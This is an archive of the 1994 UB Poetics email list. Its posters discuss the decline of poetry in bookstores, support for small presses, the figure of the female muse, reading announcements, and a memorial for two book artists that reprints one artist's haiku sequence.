Conscious sense, the Logos, is still taken erroneously... for content. (It should instead be) considered on an equal footing with the other elements of the word (as form)..., conscious sense as creative material.

There is no equality nor competition, only the complicity of all who conspire against emptiness and non-existence.

tom mandel

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60. Tom Mandel

Re: My recent experience with error

Wed 17 Aug 1994

Other than that I have no interest in "disguising" anything (but maybe he meant to write "deguising"), I find Steve Evans post convincing in every particular. Lets remember that this "drowning" is a social state, the exact state of those creatures who from water took to air and, drowning, moved on.

Those who came before can't know our praise; those to come,
are they more likely to? Only we seem to know the praise
we pause to give. Does this mean it is really ourselves
we are praising? No answer hides in the question; I really
wonder.

Rosemary's passage, which seems to be a meditation on Wittgenstein, is brilliantly apposite (brilliant & beautiful itself). Let us explain our denials, it seems to counsel itself.

tom mandel

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61. Mn Center For Book Arts

buy or bye poetry

Wed 17 Aug 1994

Steve Evans has asked me to elaborate on what one might do to contest the disappearance of poetry from "serious consumer culture," as someone put it in an earlier post. I would hope the culture includes serious consumers of poetry, and as Charles Bernstein so eloquently puts it in his long essay, which he also delivered at the "Art & Language" symposium at Minnesota Center for Book Arts in April of 1994, it does so include them (even everyone on this list).

So, here are some more earthly suggestions, not earthly delights, at least not in themselves.

This may come in two or more posts over the next several days. The first one is mostly directed toward what you can do at bookstores. If your only bookstore is Barnes & Noble, you may be lost. Managers of the chains, unfortunately, have very little independence in what they are allowed to carry. But you can ask them.

But here goes:

First, talk to your booksellers. Get to know them. Make requests personally as well as through slips of paper called order forms. Encourage them to obtain the specific books you want. If they are receptive, ask them to carry representative work from presses you like. Let them know that SPD will tailor orders specifically for a particular bookstore and make it easy for the bookseller. But you have to persuade these booksellers NOT ONLY that these are important books, but that, MORE IMPORTANTLY, that, given a decent chance, they will sell.

Get your friends & people with similar ideas to do the same. Hearing it from one voice will not move a bookseller. Hearing from five to ten might. Hearing it from twenty will.

Then -- buy the books, & make sure those friends buy them, too. This will make the bookseller very happy, perhaps even make her trust your future recommendations. Tell your students to buy these books. Submit reviews to your local paper, especially when there is a local connection -- but, hey, the disappearance of poetry is a good story. You could even write about that and about what you & some local cohorts are trying to do about it.

You may end up negotiating regular 10 to 15% discounts on these books for members of a reading group or other association. But don't push for the discount first. Despite how much you may detest consumer culture, please help the booksellers make money by selling these books. It helps the books survive.

Hold readings at the bookstore & let the bookseller make selling the books a featured part of the readings. Have reading & discussion groups meet there if this is at all possible.

If you achieve a good relationship with the bookseller, ask if you can have 6 inches of shelf space in the store to create a "poetry books of the month" corner. And, again, get people to buy these books.

If you teach at a university, or are a student, by all means do all this (& anything more you can invent) at your university bookstore or local store which serves the university community.

Also, if you teach -- USE small press books. In seminars on contemporary writing, use several -- maybe even use small press books exclusively. In large survey classes, use some small press books. Try to get the bookstore to order directly from the small presses (stores pay no more, & the presses are able to give a smaller discount than is required by distributors or book "jobbers") or from SPD (which helps support the entire field). It's ironic that I know several people teaching at major universities, yet only twice in the last four years have i received, for Chax Press books, orders for 40 or more books for a class. Every small press, every day, is on the verge of disappearing. If they do, then we won't have to worry about poetry books being in bookstores. There will be no poetry books. In the fall of 1993, when the University of Toronto bookstore ordered $1,000 worth of bp Nichol's ART FACTS from Chax, it literally saved the press. Such orders, to the presses you care about, should occur at least a few times every year. If you teach contemporary, or even 20th Century writing, & don't use contemporary small press books (& a variety of them, not just from the biggest of the small presses), shame on you. You are contributing to the disappearance of poetry.

Why not teach a contemporary writing class which uses a book from Sun & Moon, one from O Books, one from The Figures, one from Potes & Poets, one from Chax, one from Roof? Why not use one or two of these books (& not always from the same press) next time you teach a large survey class?

I read in an earlier post that Don Byrd doesn't buy poetry; people or presses give it to him. He is then getting a marvelous service. I hope he contributes money and time to the presses he cares about, and I hope he teaches their books in his courses.

I remind myself now that I am addressing myself to a poetics list. I read poetics & theory of various kinds & enjoy this reading. I also read a lot of poetry. What are your reading habits? What are your buying habits? How much money do you spend each year on books of poetics, criticism, and theory? Consider spending an equal amount on poetry. It will help immensely.

And please don't go into your local bookstore, notice no innovative or invigorating poetry on the shelves, and complain outside the walls of the bookstore, without doing anything to try and change the situation.

Thank you for reading this.

Read poetry. Buy poetry.

Next time I'll try to convince to contribute to presses & literary organizations.

By the way, I applaud Talking Leaves, as I do Woodland Pattern in Milwaukee, Bick's Books in Washington, the bookstore at SPD in Berkeley, and only a very few others I know about. But I've found some very good books in The Bookstore in Lennox, Massachusetts, and elsewhere. I feel like someone's had a good idea when I find even one fugitive and fine poetry book on a bookstore's shelf.

And I am grateful to Charles Bernstein for bringing up the increasing role being played by on-line bookstores and informational services.

Does the book on the shelf struggle for its pages to be open, resisting the heavy air? Come to think of it, it used to keep me awake that a book spends perhaps 99% of its life closed. Now I think that once it's been opened, it is really never closed. There's a confusion of the physical with another realm, yes?

charles alexander

↑ Index

62. Robert Creeley

Bookstores etc

Thu 18 Aug 1994

Just to note a key bookstore for the southwest: Gus Blaisdell's THE LIVING BATCH just off Central across from the u/. Not only does this store have a ranging and specific collection of books for sale, it also publishes them, eg, Gene Frumkin's recent col- lection and (forthcoming) Ronald Johnson's ARK in toto. Gus also has readings throughout the year--and serves as network for that part of the country. Thus I had word of John Yau (who had read there recently), and it's also the last time and place I had chance to talk with Ed Abbey (we both were grad students at UNM in the 50s!). Anyhow, "community," "consellations," "collectives," it's always hand to mouth or head or heart. Somebody's got to be there for real.

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63. Loss Glazier
Cite for woman as "muse"
Thu 18 Aug 1994

I'd like to know anyone could recommend a (definitive/defining) source that might provide me with a perspective on the question of the male poet invoking woman as image of perfection, inspiration, "other." That is, I've run across, in various places, allusions to the colonial, etc. nature of this question but wondered where I might find "the argument" (or arguments) (specifics?) re this "invocation" as objectionable, sexist, Romanticism (romantic vs. Romanticism?), commodifying (?) etc. Is the question one of "conquest" vs. attention to the formal qualities of the writing? Are these mutually exclusive?

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64. Tom Mandel
Re: buy or bye poetry
Thu 18 Aug 1994

...Bick's Books in Washington" alas is gone (or in its last few days). Rod Smith, who filled Bicks' shelves, has moved on to Bridge St. Books also in DC (Georgetown); but, we have nothing like Talking Leaves or the even-more-azazing sounding Woodland Pattern (after all, TL is in a col collegetown, or doesn't this make it a little easier?). Yet, we've got a Borders, a Supercrown, heavens knows how many more; and Washington sells more books per capita than any other city in the states (so they say).

tom mandel

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65. Jorge Guitart
poetry guerrilla
Fri 19 Aug 1994

give the gift of alternative poetry to a friend who reads mainstream poetry but doesn't know better. I mean buy a book for him or her.

i did.

My choice was THE COLD OF POETRY, by Lyn Hejenian (Sun & Moon Press 1994) which i recommend to everyone who wants to know what poetry is/can/should be.

i bought it at our stellar TALKING LEAVES.

incidentally i saw it at Borders in Mount Lebanon, Pa (a suburb of Pittsburgh) a couple of days ago. it was my first visit to a Borders and it inclined me favorably towards that outfit.

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66. Clint Burnham
Re: plumpe Denken
Fri 19 Aug 1994

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or: phat thots (to use some more jargon):

Tom Mandel responded carefully and generously to my rant, for which I'm grateful. Certainly, I think if there is value in poetry, or in some poetry, it lies in specificities of language and experience; the poetry I value from the sixties, say, in either Canada, the U.S., or Britain, seemed to puncture the rhetoric of a prevailing "popular" or at least wide-spread poetry; in each of these countries that was different. Raworth and Prynne don't seem to have the same stance on that rhetoric (Raworth abandoned the high for the low? to put it grossly, whilst Prynne tried to push the high & see how far it would go?), but their work and of their contemporaries that I've read seemed to be a formally-based attack on the class inflections of the angrymiddleagedmen and the faber&penguin books. In Canada the work, say, of the TISH folk, stealing from OlsonCreeleyDuncanetc, was in contradistinction to a form still popular here, that of a populist-anecdotal vernacular that offers "experience" as something which can be transmitted. (That enemy is still with us, as I said, & can be said to constitute an official poetry, but the postmodernists have had some success in the academy).

Sorry if this is turning into a mini-essay/shortpost.

I suppose the point of my fictitious Kant was to indicate I was/am trying to find a poetry that comes out of the collective *not* either as a timeworn lefty phrase nor as some chimera or utopia but with the same rigour as Mandel's working through the philosophical (I'd love to have a book called "Realism"):

"Light circles the other past" goes on and on and on ...

Clint

↑ Index

67. Joseph Conte
Re: Cite for woman as "muse"
Fri 19 Aug 1994

Loss:

I'm not sure when the invocation of a feminine muse became sexist commodification, but the tradition of such invocation goes back to classical literature: Menin aeide, Thea . . . Sing, Goddess the wrath of Achilles. Id est, the figuration of the imagination in the male poet was his feminine, divine, other. The trope is that the song--anything but a "conquest"--is a gift of the muse to the humble poet who would be nothing without her. Plato (I think it's in the "Ion") mocks poets as incompetents and virtueless for being only the passive receptacles of such divine (feminine) speech.

I'm not sure, really, when the invocation becomes objectionable-- or perhaps I'm missing the point of your inquiry. What's the context?

Joseph Conte

PS: As a netiquette cavil, would posters to this list please undersign their posts. It can be difficult to find the sender in the header material.

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68. Jed Rasula

Re: Cite for woman as "muse"

Fri 19 Aug 1994

Loss: Like Joe Conte, I'm not quite clear which direction your query intends. But I did think right away of a book by Lawrence Lipking, ABANDONED WOMEN AND POETIC TRADITION (U. Chicago, 1988). I've been working for several years myself on a seemingly interminable project called "Poetry's Voice-Over," which assesse s various implications of poetic empowerment & primal scenes of such, as in Hesiod's invocation of the Helikonian muses. One section of that is coming up in the next issue of Sulfur ("Gendering the Muses"--it may be most pertinent for what you're up to); an abridged version of the whole text is forthcoming in Adalaide Morris's collection SOUND EFFECTS (U.North Carolina Press).

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69. Mn Center For Book Arts

Re: plumpe Denken & a reel

Fri 19 Aug 1994

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real ism
is em real?

charles (in memoriam bp)

↑ Index

70. Joe Amato
Re: Cite for woman as "muse"
Sat 20 Aug 1994

ah, can't resist... my favorite invocation being in byron's *don juan*, beginning of canto iii:

> *Hail, Muse! et cetera.---*

joetomato

↑ Index

71. Tom Mandel
Re: plumpe Denken & a reel
Sat 20 Aug 1994

"The past is all that can be changed."

-- *Realism* / p.66

tom mandel

↑ Index

72. Charles Bernstein
FROM: Joel Kuszai, "Re: poetry guerrilla" (rejected post)
Tue 23 Aug 1994

--Boundary (ID sKTkrmvl9vLD4Bx788Vzfg)

Subj: Rejected posting to [redacted]

Your message is being returned to you unprocessed because it looks like a LISTSERV command, rather than material intended for distribution to the members of the POETICS list. Please note that LISTSERV commands must ALWAYS be sent to the LISTSERV address; if it was indeed a command you were attempting to issue, please send it again to [redacted] for execution. Otherwise, please accept our apologies and try to rewrite the message with a slightly different wording - for instance, change the first word of the message, enclose it in quotation marks, insert a line of dashes at the beginning of your message, etc.

---------- Rejected message (37 lines) ----------
Date: Tue, 23 Aug 1994 13:40:41 -0400 (EDT)
From: Joel Kuszai <[redacted]>
Subject: Re: poetry guerrilla

leave a book on a shelf at borders. Sign it "William Burroughs" or "william shakespeare" or "fuck you"

I recently went back to Ann Arbor Borders for first time since they moved to new biggun location (filling up what had been multi-level Jacobsen's dept. store). And that bookstore, so unlike all the suburban sprawling Kmart affected Borders, has succombed to the god-awful trend of CDs and Multimedia and endless peripheral tourist action. I had counted on their extensive (sure university-dominated) philosophy and literarycrit selections (their poetry is all mainstream distributor-bought) for years as a small East Lansing lad with no good local bookstores. I had anticipated this move for almost a year thinking the increased space would help open up the turf. These bookstore s--like even the New St. Marks, etc., refuse "spineless"chaffbooks because they require "face-outs" to get noticed. My new trick is to take one of my little chapbooks (Meow Press) and leave it hidden someplace in the poetry section so somebody will chance upon it. I don't tell anyone and run away as soon as I can so as to not get caught...

--Boundary (ID sKTkrmvl9vLD4Bx788Vzfg)--

↑ Index

73. Roberts Mark

Re: FROM: Joel Kuszai, "Re: poetry guerrilla" (rejected post)

Wed 24 Aug 1994

> *--Boundary (ID sKTkrmvl9vLD4Bx788Vzfg)*
> *Content-type: TEXT/PLAIN; CHARSET=US-ASCII*
>
> *Subj: Rejected posting to* [redacted]
>
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> *the LISTSERV address; if it was indeed a command you were attempting to issue, please send it again to* [redacted] *for execution. Otherwise,*
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>
> *--Boundary (ID sKTkrmvl9vLD4Bx788Vzfg)--*

Small publishes will go to any extreme!! I know of many people who will admit to stealing from major bookchains - but actually giving them books and then running away so that you don't get caught (what will they charge you with?).....

Oh well my press (Rochford Press) was once 'accused' on a writing program on Australian national radio of being prepared "to beg borrow or steal" to get books and litmags out. Which isn't so far from the truth.

I love the concept of 'poetry guerrillas'. Things (at least in Australia) seem to have settled down so much over the last couple of years that it is even getting difficult to get alternative and small press books into non mainstream bookshops who would traditionally take them (or if they do take them they will leave them under the desk and not display them - and then complain that "new poetry doesn't sell"). Lets shake things up a little/alot!!!!!

↑ Index

74. Joe Amato
selected and collected poetry...
Thu 25 Aug 1994

in the recent anthologies/small press vein: those interested might check out this month's *american book review*... there's a piece by rochelle ratner (who assigns poetry reviews for abr) about presumed problems associated with prematurely issuing selected/collected volumes of poets' work...

note this assertion: "The numbers might prove otherwise (a recent 'Poetry Showcase' at Poets House in New York City had nearly 1000 books on display, all published in 1993), but my own sense of the marketplace suggests that poetry publishing is at a low ebb. And what are the more respected presses publishing these days? *Selected poems*."

joe

↑ Index

75. Clint Burnham
Poetry gorillas
Thu 25 Aug 1994

Magilla and otherwise

Reverse shoplifting has an honourable history here in Toronto, as well. Some guys at York U in the mid-80s did a parody of university-published student mags called "In4mation", complete with letraset-crazy pages & really bad poetry & left it, with the price pencilled in the corner, at the U bookstore.

One of the ways people here have circumvented bookstores for the past 10 years is the small press book fair, which, with little publicity in the media (even the so-called alternative papers), once or twice a year offers space for 50 or so local small presses (usually of the one person in their basement apt. scenario, & some larger "literary" ones). Quite successfull. But probably only possible in a city.

By the way, I sent a message to Luigi-Bob Drake's e-zine (Taproot Review) in Cleveland and rec'd 42 single-spaced pages worth of chapbook reviews, so check it out (the address was in Bernstein's essay from last week: [redacted])

Clint Burnham

↑ Index

76. Roberts Mark
Re: poetry guerrilla
Thu 25 Aug 1994

> *Date: Tue, 23 Aug 1994 13:40:41 -0400 (EDT)*
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Mark Roberts Ph 02 [redacted] Student Information & Systems Office Fx 02 [redacted] University of New South Wales Australia

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77. Alan Golding

Cite for woman as "muse"

Thu 25 Aug 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Loss--Re your question about the muse, there's some useful stuff in the first chapter of Mary K. DeShazer's Inspiring Women: Reimagining the Muse (NY:

Pergamon, 1986)--that chapter essentially offers a historical overview of male invocations of the muse and of the issues those invocations raise.

Alan Golding

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78. John Keeling
hello and update
Tue 30 Aug 1994

Marjorie:

Just want to touch base with you. Hope all is well in LA.

CSU Summer Arts was fantastic and Robert and Susan were wonderful. I still haven't received a compact disc of my multimedia project, but I expect it to arrive very soon. I've managed to acquire many of the software programs we learned this summer, as well as some more sophisticated multimedia-programming packages, so I hope to keep working with the technology in the future. I hope, and this may be naive, to develop projects in some of my courses this year--for example, I already have the programming skills to put together something like McGann's Rossetti Project.

This summer has been quite eventful. I started working with Plugged-In, a volunteer organization that brings technology into low-income areas in East Palo Alto, Redwood City, and Menlo Park. I also have started collaborating with some artists from the CSU program on a documentary on the Winchester mansion in San Jose. On the downside, my wife received some bad medical news, and we were forced to move because of the increasingly violent drug traffic in our old neighborhood. We relocated to Redwood City in August.

Look forward to getting the Quals behind me. Started reviewing a couple weeks ago, much later start than I had planned, lets just say I took a Wordsworthian approach to my preparation (thinking of how Wordsworth went hiking in the Alps the summer before his university exams--my Simplon pass is the bridge from Palo Alto to E Palo Alto).

Will fill you in on more details when you come to town. Is there anything I/we need to do with regard to the independent study? no paperwork, etc.?

Sincerely,

John

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

September 1994

18 messages · Wed 7 Sep 1994 – Wed 28 Sep 1994

September is a thin month, and I have chosen not to pad it. Eighteen letters — the fewest of any month I have set — arrive across three weeks of early autumn with the air of a room half-emptied for the new term: a reading announced, a video screening, a compact disc advertised from the Ear, and, threaded among them, the last embers of the summer's long argument.

Peter Quartermain rakes those embers with a weary litany — *"priesthoods, anthologies, bookshops"* — as if to concede that the questions of July and August will not be settled by anyone here, and perhaps ought not to be. Michael Boughn supplies the month's mordant flourish, relaying that poets have been *"officially declared 'miserable'"* by some authority or other, a verdict the list receives with its usual blend of umbrage and delight.

It is a caretaker's month, the list keeping its own lights on between larger seasons — and there is a quiet fitness in finding, tucked into one of these notes, a paper newly lodged at the Electronic Poetry Center. Even in its idlest weeks the archive was busy becoming itself. I have gathered the eighteen as carefully as I would have gathered ninety, on the principle that a quiet month, faithfully kept, tells you something the loud ones cannot.

— Kristen M. Fabians

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Every entry links to its message. 18 in all.

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1. Sandra Braman
Re: mundanity
Wed 7 Sep 1994

Charles -- Just back from 6 weeks in South Africa that included some of the most extraordinary experiences of my life, wandering around the thornveldt of KwaZulu.... How does one get a copy of your paper "Provisional Institutions: Alternative Presses and Poetic Innovation" mentioned in an August note of yours to the UB Poetics list? Haven't forgotten your suggestion to throw a net entry onto the list, as things settle down here will try to do so thoughtfully. Sandra Braman

↑ Index

2. Loss Glazier
Re: mundanity
Wed 7 Sep 1994

Sandra,

This paper is available at the Electronic Poetry Center, in the "Library," under Bernstein.

(If you need instructions I'll be glad to send them to you directly.)

Loss Glazier
[redacted]

> *Charles -- Just back from 6 weeks in South Africa that included some of the most extraordinary experiences of my life, wandering around the thornveldt of KwaZulu....*
> *How does one get a copy of your paper "Provisional Institutions: Alternative Presses and Poetic Innovation" mentioned in an August note of yours to the UB Poetics list?*
> *Haven't forgotten your suggestion to throw a net entry onto the list, as things settle down here will try to do so thoughtfully.*
> *Sandra Braman*

↑ Index

3. peter quartermain
Anthologies priesthoods and bookstores (still!)
Sun 11 Sep 1994

I've been off-line for the last six weeks or more, so I'm probably flogging a dead horse. But I've always been a bit

surprised that ANY bookstore would sell to such a specialised taste (passion?) as poetry, especially given the brouhaha with which our institutions (of whatever persuasion, and to one of which I belong) surround it. As Charles Watts told everyone, the only decent (poetry) bookstore in this part of the world, Proprioception Books, has closed its doors (but is still there on-line. The university bookstores in this town are pitiable if not offensive in their determination to _sell_ books (which means that for them the whole point of running a book shop is to move the inventory, at a profit, not keep a book _store_, book resource, for readers to browse in; the textbook and the T-shirt is all they care about); and the trade bookshops know that poetry is not their bread and butter, so as a rule their offerings (except for more or less conventional Standards [Shakespeare, the Todd Emily Dickinson, Rod McKuen], and the occasional local book stocked on compassionate grounds) are dull, more or less Hallmark Cards.

But (unlike Don Byrd) about 60% of what I spend on books goes on poetry, about 10% on journals and magazines -- this is because the University of British Columbia Library tends to buy the work of dead rather than living poets (which makes life very hard for students; it also makes anthologies, including those so much abused on this e-mail the last month or three, very useful and indeed valuable resources indeed; ANY kind of water is welcome in a desert). I spend less than 10% (more like 3%) on criticism and literary theory (I have a hard time indeed reading either, but the library buys lots [mainstream]). Some of the poetry I buy is from local used-book stores (very good ones), or when I travel; most is mail order. My

favourite of these is Am Here Books, P.O.Box 574, Philo, California 95466, which only sells poetry -- the last catalogue as I recall was about 2500 titles by poets last-name-initial-E; three pages of Theodore Enslin, about the same of Larry Eigner. They're weak on little press stuff that's still in print (go to SBD) but really good on hard to find stuff. Unlike most bookshops, they seem to care more for the living than for the dead. With the American dollar costing about $1.40 Canadian, they are expensive to anyone north of the 49th; in yankee dollar terms their prices are very good, occasionally astonishingly cheap. They also run catalogues of Little Magazines, one letter of the alphabet at a time. The best British (exclusively poetry) booksellers are Alan Halsey, 22 Broad Street, Hay-on-Wye, Hay-on-Wye, Nr. Hereford; and Peter Riley, 27 Sturton Street, Cambridge CB1 2QG.

As for the whole question of priesthoods, anthologies, bookshops, and markets, I'd only add that I have been told (and I believe it to be true) that Rupert Murdoch, Australian much loved by Margaret Thatcher, owner of and despot over those extremes of the British Press, the (now more-or-less downmarket) _London Times_ and the _Sun_, has (as proprietor of Paladin Books, a branch of Harper-Collins) ordered that all poetry books published by Paladin be destroyed by which he means burned (and therefore NOT sold off or remaindered) immediately -- these books include _The New British Poetry_ edited by Gillian Allnut, Fred D'Aguiar, Ken Edwards, and Eric Mottram; and the three volumes so far published of the _Paladin Re/Active Anthologies_ (edited by Iain Sinclair): Volume 1 is _Future Exiles: 3 London Poets_ (Allen Fisher, Bill Griffiths, Brian

Catling); Volume 3 is _The Tempers of Hazard_ (Thomas A. Clark, Barry MacSweeney, Chris Torrance) -- I don't know what the second volume is. Really generous selections: 150 pages of Fisher, for instance; 130 of Clark. There's no doubt in my mind that these books could have been enormously influential in shaping possible British poetries, with a real chance of breaking through the moribundity of the _Times Literary Supplement_ and the Schools Examination Boards, Antony Thwaite and James Fenton and their dreadful ilk, but it is clear that the market for girlie pictures in the newspapers is more lucrative, along with gay bashing, paki bashing, and similar cherished English customs.

It's all very depressing (whether what I hear about Murdoch is true or not --can anyone out there confirm or refute?); I draw comfort of a sort from the reflection that the letters of William Cowper in the closing years of the eighteenth century (which I've just been reading) reflect a poetry scene in most particulars scarcely distinguishable from that within which we live, though on a somewhat smaller scale. The sheer enthusiasm of my students for the work of the living, no matter where found, especially for the turbulent and disrespectful (no matter what specie and species), suggests that (like love) it don't matter too much [if at all] who you read, but how. Mischief and passion never made money, but they do find and found their own life.

End of sermon.

Peter Quartermain

↑ Index

4. Michael Boughn
Miserable poets
Wed 14 Sep 1994

I thought the latest from the Toronto Globe and Mail might be of interest out there:

> "Last year, poets were officially declared 'miserable' by Kentucky University psychiatrist Arnold Ludwig, who studied 1,000 eminent people, including poets W.H. Auden, Rupert Brooke and Sylvia Plath. Poets are five times more likely to be depressed than scientists, he found, and 15 times more prone to the condition than soldiers."

(Could it be from watching what the scientists and soldiers are up to?)

And then, to cheer you up:

"Seiko, the Japanese watch company, has repaired England's most famous church clock, on The Old Vicarage of Grantchester. In 1912, Rupert Brooke immortalized the motionless dial with: 'Stands the church clock at ten to three? / And is there honey still for tea?' Two years after the First World War, the clock started working again, reports The Observer, but it failed again in 1992. (Old timers recall that, in 1910, Brooks' clock had actually stalled at a quarter to eight -- but there are fewer rhymes for 'eight.'"

Smile, everybody.

↑ Index

5. James Sherry
Re: Anthologies priesthoods and bookstores (still!)
Wed 14 Sep 1994

In reply Peter's message about bookstores, a discussion which I have not been following nad hence might repeat what someone else has said:

Why do we need bookstores or for that matter printers, binders, shippers, distributors, jobbers or any of that other market infrastructure for delivery of the text to readers.

Not that we need to do away with them entirely. They serve a purpose for books which fulfill the volume sales requirements of the market in terms of margin and visibility. They can deliver, because of the mature technology, a vast array of difficult and lengthy materials. What they cannot do is fulfill the purposes of writers whose books only sell a few copies.

As an alternative, books can be delivered direct to the user using this carrier as a base. We will have "bugs" to work out and ergonomic issues to improve, but at least we will move toward liberating ourselves as writers and readers from a market place which as Peter points out is restricting our access.

I don't really think the issue of whether Murdoch actually pulled the plug on some of "our" work is that critical. The restrictions, the censorship is based in the market structure and the market-place model.

Besides, with desktop publishing and hyper text software we can extend our range on the screen in a way we couldn not easily control on the page.

I hope to put together a program in the near future with the help of Patrick Phillips and others at Segue to look at the possibilities of not chasing the chimera of acceptance by a market oriented to mass sales and censorship of alternative discourses. Grist is a good step. This list is a good step. Now let's go the next step and look carefully at the issue of the necessity of moveable type.

↑ Index

6. Mn Center For Book Arts

Re: Anthologies priesthoods and bookstores (still!)

Wed 14 Sep 1994

Ah, the sermon, a form of the poem I rather like. Thank you, Peter. I know about Am Here, but would love to hear from others about mail order sources for books which are very good. Isn't Asphodel in Ohio primarily a mail order shop?

One other note, of an entirely different order. I've been an advocate here and elsewhere for the book as a carrier of meaning, i.e. the book in its form, shape, design, materials, etc., as a partner with its text. There aren't many working in this area, and now there is one less. Steven Kranz, in Tucson, Arizona, who began as an intern with Chax Press about six years ago and ended up helping with many books, newsletters, etc., and whose own Ring Multiples put out several marvelous books to view and, more importantly, think about, recently took his own life. He left a unique body of writing, drawings, and book arts works which, unfortunately, not many have seen. He shall be missed. And just yesterday I also heard that another book artist, Kent Kazuboski, in Philadelphia, who made and illustrated several quite wonderful books by various printers, also took his own life.

I know that most on this list will not know these two, which is also unfortunate. But I still thought their passing needed to be noted. The last book, very small in size, sent to me by Steven Kranz, had a vellum-like pink and white wrapper and was printed on a laser printer (Steve was fond of making books in very inexpensive and quick ways) yet was, in a unique way, both quirky and elegant.

Its title is PRESSURIZED LINES, and it presented the following text, two sections per recto page, with versos blank --

testing high pressure
solenoid actuations
late one Friday night

flow & no-flow: the
motto of the Hydraulic
Systems Engineers

the test chamber, the
test stand, the flowmeters, the
pressure transducer

photographs should dhow
any visible damage
the valve has suffered

allow two minutes
maximum for system to
stabilize pressure

the isolation
mounts are resilient &
triple redundant

no degradation
of slide & sleeve during the
endurance testing

install pinlock &
verify actuation
at flowmeter five

revise this data
sheet to also measure &
record valve leakage

maintain conditions
& measure ambient noise
levels in the booth

the fatigue test &
the vibration test & then
the high impact shock

the final total
system calibration is
now in compliance

fasteners shall be
torqued & lockwired as seen
in the large drawing

the valve in question
incorporates features which
are not specified

no evidence of
external leakage other
than a slight wetting

shift the selctor
valve & verify valve shift
continuity

this particular
valve design incorporates
stroke over-travel

identify how
the lowest volume is to
be determined here

the check valve has a
cracking pressure of 2 to
8 psig

the transient noise
acceptance criteria
are stated herein

the steady state &
transient structureborne noise
tests are almost done

zero flow cannot
be quantified nor can it
even be measured

Goodbye, Steve

love,
charles

↑ Index

7. Carla Billitteri
poetry reading
Thu 15 Sep 1994

P * O * E * T * R * Y R * E * A * D * I * N * G

JEFF GBUREK

&

LEE FOUST

at the fabled Central Park Grill
on Main St near Amherst

Saturday the 17th of September 7:30 p.m.

Jeff Gburek of Buffalo & more recently
the Bay Area & Florence has published
his work in *Dark Ages Clasp the Daisy Root*,
I Am a Child, *H2SO4*, and in his own magazine
'Aql. With Benjamin Friedlander he has
authored two pamphlets, *Myth* & *Prophecy*

Lee Foust of S.F. & now New York City recently
finished the first novel in a trilogy to be called
La Divina Vendetta. He is also a writer of poetry
and an intermittent translator. His prose has appeared
in *'Aql*. An unattributed version of Jabes's essay
on Dante appeared in the final issue of *Dark Ages
Clasp the Daisy Root*

Please come. As ever, there will be chicken wings after the bash.

↑ Index

8. Carla Billitteri
poetry reading p.s.
Thu 15 Sep 1994

---

the cost, as usual, is $3

↑ Index

9. Mn Center For Book Arts
found & lost
Thu 15 Sep 1994

This message begins as a response to Peter Quartermain's "sermon" on bookstores. Unfortunately it was returned to me, as I had some trouble with the

local e-mail service & my phone lines here. If, by chance, this did actually reach the poetics list, and I am now duplicating myself, I apologize - - -

Ah, the sermon, a form of the poem I rather like. Thank you, Peter. I know about Am Here, but would love to hear from others about mail order sources for books which are very good. Isn't Asphodel in Ohio primarily a mail order shop?

One other note, of an entirely different order. I've been an advocate here and elsewhere for the book as a carrier of meaning, i.e. the book in its form, shape, design, materials, etc., as a partner with its text. There aren't many working in this area, and now there is one less. Steven Kranz, in Tucson, Arizona, who began as an intern with Chax Press about six years ago and ended up helping with many books, newsletters, etc., and whose own Ring Multiples put out several marvelous books to view and, more importantly, think about, recently took his own life. He left a unique body of writing, drawings, and book arts works which, unfortunately, not many have seen. He shall be missed. And just yesterday I also heard that another book artist, Kent Kazuboski, in Philadelphia, who made and illustrated several quite wonderful books by various printers, also took his own life.

I know that most on this list will not know these two, which is also unfortunate. But I still thought their passing needed to be noted. The last book, very small in size, sent to me by Steven Kranz, had a vellum-like pink and white wrapper and was printed on a laser printer (Steve was fond of making books in very inexpensive and quick ways) yet was, in a unique way, both quirky and elegant. Its title is PRESSURIZED LINES, and it presented the following text, two sections per recto page, with versos blank --

testing high pressure
    solenoid actuations
late one Friday night

flow & no-flow: the
    motto of the Hydraulic
Systems Engineers

the test chamber, the
    test stand, the flowmeters, the
pressure transducer

photographs should dhow
    any visible damage
the valve has suffered

allow two minutes
    maximum for system to
stabilize pressure

the isolation
mounts are resilient &
triple redundant

no degradation
of slide & sleeve during the
endurance testing

install pinlock &
verify actuation
at flowmeter five

revise this data
sheet to also measure &
record valve leakage

maintain conditions
& measure ambient noise
levels in the booth

the fatigue test &
the vibration test & then
the high impact shock

the final total
system calibration is
now in compliance

fasteners shall be
torqued & lockwired as seen
in the large drawing

the valve in question
incorporates features which
are not specified

no evidence of
external leakage other
than a slight wetting

shift the selctor
valve & verify valve shift
continuity

this particular
valve design incorporates
stroke over-travel

identify how
the lowest volume is to
be determined here

the check valve has a
cracking pressure of 2 to
8 psig

the transient noise
acceptance criteria
are stated herein

the steady state &
transient structureborne noise
tests are almost done

zero flow cannot
be quantified nor can it
even be measured

Goodbye, Steve

love,
charles

↑ Index

10. George Bowering
Re: Africa
Mon 19 Sep 1994

Hey, Sandra, wow, Africa, eh? I read today about a new elephant safari outfit in Zimbwabe. You shoot the elephants but what you shoot ythem with is capsuls of food covering that go splat and leave orange splats on the elephants. I wonder whether they get used to it and just walk calmly by with people splatting them. It'll get too easy. These are people who want to be Hemingway and Cousteau ayt the same time. Maybe we could outfit the US Army with orange splat guns and they can hold their annual invasions of small countries with orange splat guns! Hmmm, as we say up here.

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11. George Bowering
Re: Miserable poets
Mon 19 Sep 1994

Michael, yr clippings about poets did cheer me up because today I have been reading poems about Maud Gonne. Needed a pick me up. But I will be going to

hear Blaser in a bar tonight. I will probably have a hangover while teaching tomorrow. I'll consider that the fault of serial verse.

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12. Charles Bernstein
LIVE AT THE EAR (ad for CD)
Sun 25 Sep 1994

---

n o w a v a i l a b l e

LIVE AT THE EAR

edited by Charles Bernstein

a compact disc from
Elemenope Productions / Oracular Laboratories Recordings
conceived and produced by Richard Dillon

Digitally remastered archival recordings of 13 poets reading at New York's Ear Inn, with a 32 page booklet including substantial excerpts from the texts of the poems, photos, and brief statements from the poets.

Ideal for personal collections as well as for classroom use and course adoption.

Contents:

1. SUSAN HOWE reading from "Speeches at the Barrier," in Europe of Trusts. Recorded October 22, 1983. (6:41)

2. RON SILLIMAN reading from OZ. Recorded April 12, 1986. (6:01)

3. LESLIE SCALAPINO reading from "bum series" in Way. Recorded December 13, 1986. (4:52)

4. TED GREENWALD reading from You Bet. Recorded January 31, 1981. (6:05)

5. ROSMARIE WALDROP reading from Reproduction of Profiles. Recorded December 15, 1984. (6:01)

